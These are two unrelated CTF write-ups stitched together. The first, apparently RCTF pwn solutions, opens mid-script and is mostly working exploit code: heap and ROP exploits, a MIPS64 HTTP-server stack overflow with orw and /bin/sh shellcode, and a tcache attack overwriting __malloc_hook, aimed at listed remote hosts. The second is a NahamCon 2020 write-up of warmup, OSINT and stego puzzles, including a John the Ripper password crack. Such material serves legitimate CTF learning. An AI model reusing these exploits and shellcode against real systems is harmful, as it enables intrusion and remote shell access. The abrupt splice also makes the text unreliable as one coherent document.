def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
def push_code(code): padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8) c = code+p8(instr["nop"])*padding # align 8 push_count = len(c)/8 sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count) for i in range(push_count-1,-1,-1): sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8])) return sc
def main(host,port=6001): global p if host: pass else: pass # debug(0x000000000000F66) flag = '' for i in range(0x40): p = remote(host,port) code = p8(instr["mov"])+p8(8)+p8(0)+p8(9) # mov r0,rbp code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701) # add r1,0x701 code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808) # sub r0,0x800 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 ; overwrite chunk size code += p8(instr["alloc"])+p32(0x400) # alloc(0x400) ; free chunk code += p8(instr["add"])+p8(1)+p8(0)+p64(8) # add r0,0x8 code += p8(instr["mov"])+p8(16)+p8(2)+p8(0) # mov r2,[r0] code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140) # sub r2,0x3ec140 ; r2 --> libc_base code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"]) # add r3,libc.symbols["__free_hook"] code += p8(instr["mov"])+p8(8)+p8(4)+p8(2) # mov r4,r2 code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35) # add r4,libc.symbols["setcontext"]+0x35 code += p8(instr["mov"])+p8(32)+p8(3)+p8(4) # mov [r3],r4 ; overwrite chunk size code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00"))) # mov r1,'/flag' code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 code += p8(instr["mov"])+p8(8)+p8(1)+p8(0) # mov r1,r0 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68) # add r0,0x68 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rdi code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10) # add r0,0x10 code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300) # add r1,0x300 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rbp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28) # add r0,0x28 code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8) # add r1,0x200 code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 # rsp code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 # rcx # 0x00000000000d3d8a: ret; # 0x00000000000a17e0: pop rdi; ret; # 0x00000000001306d9: pop rdx; pop rsi; ret; # 0x00000000000439c8: pop rax; ret; # 0x00000000000d2975: syscall; ret; # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret; # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall; ret = 0x00000000000d3d8a p_rdi = 0x00000000000a17e0 p_rdx_rsi = 0x00000000001306d9 p_rax = 0x00000000000439c8 syscall_ret = 0x00000000000d2975 buf = 0x3ec000 payload = [ ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret, p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret, p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f ] code += p8(instr["mov"])+p8(8)+p8(0)+p8(1) # mov r0,r1 for value in payload: if value < 0x100: code += p8(instr["mov"])+p8(1)+p8(1)+p64(value) # mov r1,value code += p8(instr["mov"])+p8(32)+p8(0)+p8(1) # mov [r0],r1 else: code += p8(instr["mov"])+p8(8)+p8(3)+p8(2) # mov r3,r2 code += p8(instr["add"])+p8(1)+p8(3)+p64(value) # add r3,offset code += p8(instr["mov"])+p8(32)+p8(0)+p8(3) # mov [r0],r3 code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8) # add r0,0x8 code += p8(instr["alloc"])+p32(0x200) # alloc(0x200) ; trigger free code = push_code(code) p.recvuntil("code: ") p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff') p.recvuntil("code: ") flag += chr(int(p.recv(),16)) info(flag) p.close() # pause() if flag[-1] == '}': break; if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) # elf = ELF("./easy_printf",checksec=False) instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14} main(args['REMOTE'])
```
## no_write
The program only allows us to use open, read, exit and exit_group system calls, no write, so we have to find a way to leak the flag
The first thing is that without the write system call, we can't do the leak, but we can use this gadget to get the libc address we want:
```c.text:00000000004005E8 add [rbp-3Dh], ebx.text:00000000004005EB nop dword ptr [rax+rax+00h]```
rbp and ebx are both controled
We can use the stack pivoting method to migrate the stack to the bss segment, then call `__libc_start_main` , the bss segment will remain libc address after it. Then use the above gadget, we can arbitrary call
The problem now is how to leak the flag, and one way I give here is to use the strncmp function to compare the flag one by one
The specific ideas are as follows
- open and read flag into bss segment first.- read characters we want to brute force into the end of the BSS segment (0x601FFFF)- Then call strncmp(flag,0x601FFFF,2), if we enter the same characters with flag, the program will `segment fault` and we will received an EOFError , because strncmp is trying to read the contents at 0x602000- If the comparison in previous step is incorrect, the program can continue to run
exp:
```pythonfrom pwn import *import stringcontext.arch='amd64'
def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payloaddef main(host,port=2333): # global p # if host: # p = remote(host,port) # else: # p = process("./no_write") # gdb.attach(p,"b* 0x0000000004006E6") # 0x0000000000400773 : pop rdi ; ret # 0x0000000000400771 : pop rsi ; pop r15 ; ret # .text:0000000000400544 call cs:__libc_start_main_ptr # .text:00000000004005E8 add [rbp-3Dh], ebx # .text:00000000004005EB nop dword ptr [rax+rax+00h] # .text:00000000004005F0 rep retn charset = '}{_'+string.digits+string.letters flag = '' for i in range(0x30): for j in charset: try: p = remote(host,6000) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 # 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0 offset = 0x267870 #initial - __strncmp_sse42 readn = 0x0000000004006BF leave_tet = 0x00000000040070B payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload) sleep(0.3) payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload) sleep(0.3) # 0x601318 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # 0x00000000000d2975: syscall; ret; # 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0 offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3) p.send("dd"+"d"*7+j) sleep(0.5) p.recv(timeout=0.5) p.send("A"*0x100) # info(j) p.close() # p.interactive() except EOFError: flag += j info(flag) if(j == '}'): exit() p.close() # pause() breakif __name__ == "__main__": # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) main(args["REMOTE"])
```
## mginx
I find this chllenge can getshell after game, but I release hint2 says can't getshell, I am so sorry about it.
mips64 big endian,not stripped
The logic of the program is not very complicated, it is a simple http server, a stack overflow in the following code:

This sStack4280 variable is the length of our `Content-Length` plus `body length`. If we set `Content-Length` to 4095 and fill in multiple bytes in the body, then sStack4280 will exceed 0x1000 and directly cause stack overflow, here is a poc:
```pythonreq = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req)```
With this stack overflow, we can hijack the return address of the main function, the program has no PIE, and the data segment can be executed, but the remote environment has ASLR, so we have to bypass the ASLR first.
Since we can stack overflow, the first thing that i think is ROP, but this program doesn't have many gadgets that can be used, so ROP is not very good, let's look at the instructions end of main function

we can control ra, s8 and gp,After many attempts, I finally chose to jump here:

we can overwrite the s8 as the address of the data segment, so that we can read our shellcode into data segment, and use the stack overflow in the main function to overwrite the return address as the address of the shellcode :D.
exp:
```python#python exp.py REMOTE=124.156.129.96 DEBUGfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") # pause() p.send(req) # pause() # orw sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c" sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c" sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"
# getshell # sc = "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1) # pause()
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) # pause() payload = "\x00"*0xa88 # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0) payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) flag = p.recvuntil("}",timeout=1) if flag != '' : info(flag) pause() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue ```
get flag!

getshell exp:
```pythonfrom pwn import *import sys
context.update(arch='mips',bits=64,endian="big")
def main(host,port=8888): global p if host: p = remote(host,port) else: # p = process(["qemu-mips64","-g","1234","./mginx"]) p = process(["qemu-mips64","./mginx"]) # gdb.attach(p) # req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"A") p.send(req) # pause()
# getshell sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40" sc += "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"
payload = "A"*0xf30 payload += p64(0x000000012001a250)+p64(0x000000120012400) # remain 0x179 byte payload += p64(0x1200018c4)+"D"*(0x179-8) p.send(payload) p.recvuntil("404 Not Found :(",timeout=1)
req = """GET /index \rConnection: no\rContent-Length: 4095\r\n\r""" req = req.ljust(0xf0,"\x00") p.send(req) payload = "\x00"*0x288 # argv_ 0x0000000120012800 argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0) argv_ += "sh".ljust(8,'\x00') argv_ += "-c".ljust(8,'\x00') argv_ += "/bin/sh".ljust(8,'\x00') payload += argv_ payload += "\x00"*(0x800 - len(argv_)) # fix the chunk payload += p64(0) + p64(21) payload += "\x00"*(0xf40-0xa98) # remain 0x179 byte payload += p64(0x00000001200134c0)
payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc)) p.send(payload) try: p.recvuntil("404 Not Found :(",timeout=1) p.sendline("echo dididididi") _ = p.recvuntil("didid",timeout=1) if _ != '': p.interactive() except: p.close() return p.close() if __name__ == "__main__": for i in range(200): try: main(args['REMOTE']) except: continue # main(args['REMOTE'])```
## note
Step 1: **get enough money**
The initial value of money is 0x996, size * 857 > money can not be applied, there is an operation of money += size in the delete function, so
The first thing is to modify the value of the money by multiply overflow.
Step 2: **leak libc and heap**
The calloc function allocate an MMAP chunk that does not perform a memset clearing operation, and there is a heap overflow in the super_edit(choice 7) function, modify the MMAP flag bit to 1 via the heap overflow to leak the libc and heap address.
Step 3: **tcache smashing unlink**
Use the off by null in edit function to unlink the chunk, and then use tcache smashing unlink to chain the `__malloc_hook` into tcache , call super_buy(choice 6) function to overwrite `__malloc_hook`, trigger calloc to getshell
exp:
```python#coding:utf-8from pwn import *import hashlibimport sys,string
local = 1
# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'): # context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# libc = ELF('./libc_debug.so',checksec=False)one = [0xe237f,0xe2383,0xe2386,0x106ef8]
if local: p = process('./note_') else: p = remote("124.156.135.103",6004) def debug(addr=0,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) #print "breakpoint_addr --> " + hex(text_base + 0x202040) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)rc = lambda s:p.recv(s)sl = lambda s:p.sendline(s)ru = lambda s:p.recvuntil(s)sda = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)
def info(name,addr): log.info(name + " --> %s",hex(addr))
def add(idx,size): sla("Choice: ",'1') sla("Index: ",str(idx)) sla("Size: ",str(size))
def delete(idx): sla("Choice: ",'2') sla("Index: ",str(idx))
def show(idx): sla("Choice: ",'3') sla("Index: ",str(idx))
def edit(idx,data): sla("Choice: ",'4') sla("Index: ",str(idx)) sla("Message: \n",data)
def super_edit(idx,data): sla("Choice: ",'7') sla("Index: ",str(idx)) sda("Message: \n",data)
def get_money(): sla("Choice: ",'1') sla("Index: ",str(0)) sla("Size: ",'21524788884141834') delete(0)
def super_buy(data): sla("Choice: ",'6') sla("name: \n",data)
# get enough moneyget_money()
# leak heap and libc addressadd(0,0x80)add(1,0x500)add(2,0x80)delete(1)
add(1,0x600) #now 0x510 in largebin
pay = 0x88*b'\x00' + p64(0x510+1+2)super_edit(0,pay) # overwrite is_mmap flag
add(3,0x500)
show(3)rc(8)# libc_base = u64(rc(8)) - 0x1eb010libc_base = u64(rc(8)) - 0x1e50d0heap_base = u64(rc(8)) - 0x320
malloc_hook = libc_base + libc.symbols['__malloc_hook']free_hook = libc_base + libc.symbols['__free_hook']realloc = libc_base + libc.symbols['realloc']onegadget = libc_base + one[3]
# fill tcache 0x90delete(0)delete(1)delete(2)for i in range(5): add(0,0x80) delete(0)# fill tcache 0x60for i in range(5): add(0,0x50) delete(0)
# fill tcache 0x230for i in range(7): add(0,0x220) delete(0)# set a 0x60 to smallbin add(0,0x420)add(1,0x10)delete(0)add(0,0x3c0)add(2,0x60)
# null off by one to unlinktarget = heap_base + 0x2220 #unlink targetpay = b''pay += p64(0)pay += p64(0x231)pay += p64(target - 0x18)pay += p64(target - 0x10)pay += p64(target) #ptradd(4,0x80)edit(4,pay)
add(5,0x80)edit(5,p64(heap_base+0x2190))
add(6,0x80)add(7,0x80)
add(8,0x5f0) # will be freed and consolidate with topchunkdelete(7)pay = 0x80*b'\x00' + p64(0x230)add(7,0x88)edit(7,pay)
delete(8) #unlinkadd(8,0x220)add(9,0x90)delete(8)add(8,0x1c0)add(10,0x60)
pay = b'a'*0x20 + p64(0) + p64(0x61)pay += p64(heap_base + 0x2090)pay += p64(malloc_hook - 0x38)edit(7,pay)info("libc_base",libc_base)info("heap_base",heap_base)
add(11,0x50)pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)super_buy(pay)
add(12,0x70)
p.interactive()```
## cipher
mips64 big endian,not stripped
Understand the logic of the program, write the correct decryption function
The initial value of key comes from the rand() function, you need to brute force the key

exp:
```pythonfrom struct import pack, unpack
def ROR(x,r): return (x>>r)|((x<<(64-r))&0xffffffffffffffff)def ROL(x,r): return (x>>(64-r))|((x<<r)&0xffffffffffffffff)def R(x,y,k): x = ROR(x,8) x = (x+y)&0xffffffffffffffff x^=k y = ROL(y,3) y^=x return x,ydef RI(x,y,k): y^=x y = ROR(y,3) x^=k x = (x-y)&0xffffffffffffffff x = ROL(x,8) return x,y
def encrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] x,y = R(x,y,b) for i in range(31): a,b = R(a,b,i) x,y = R(x,y,b) return y,x
def decrypt(t,k): y=t[0] x=t[1] b=k[0] a=k[1] keys = [] for i in range(32): keys.append(b) a,b = R(a,b,i) for i in range(32): x,y = RI(x,y,keys[31-i]) return y,x
def solve(): with open('ciphertext', 'rb') as f: ct = f.read().strip() print ct.encode('hex') key = -1 for i in range(65536): t0 = unpack('>Q',ct[:8])[0] t1 = unpack('>Q',ct[8:16])[0] x,y = decrypt([t0,t1],[i<<48,0]) ans = pack('>Q',x)+pack('>Q',y) if ans.startswith('RCTF'): key = i break
assert key!=-1 print key ans = '' for i in range(len(ct)/16): t0 = unpack('>Q',ct[i*16:i*16+8])[0] t1 = unpack('>Q',ct[i*16+8:i*16+16])[0] print hex(t0), hex(t1) x,y = decrypt([t0,t1],[key<<48,0]) ans += pack('>Q',x)+pack('>Q',y) print ans solve()
``` |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

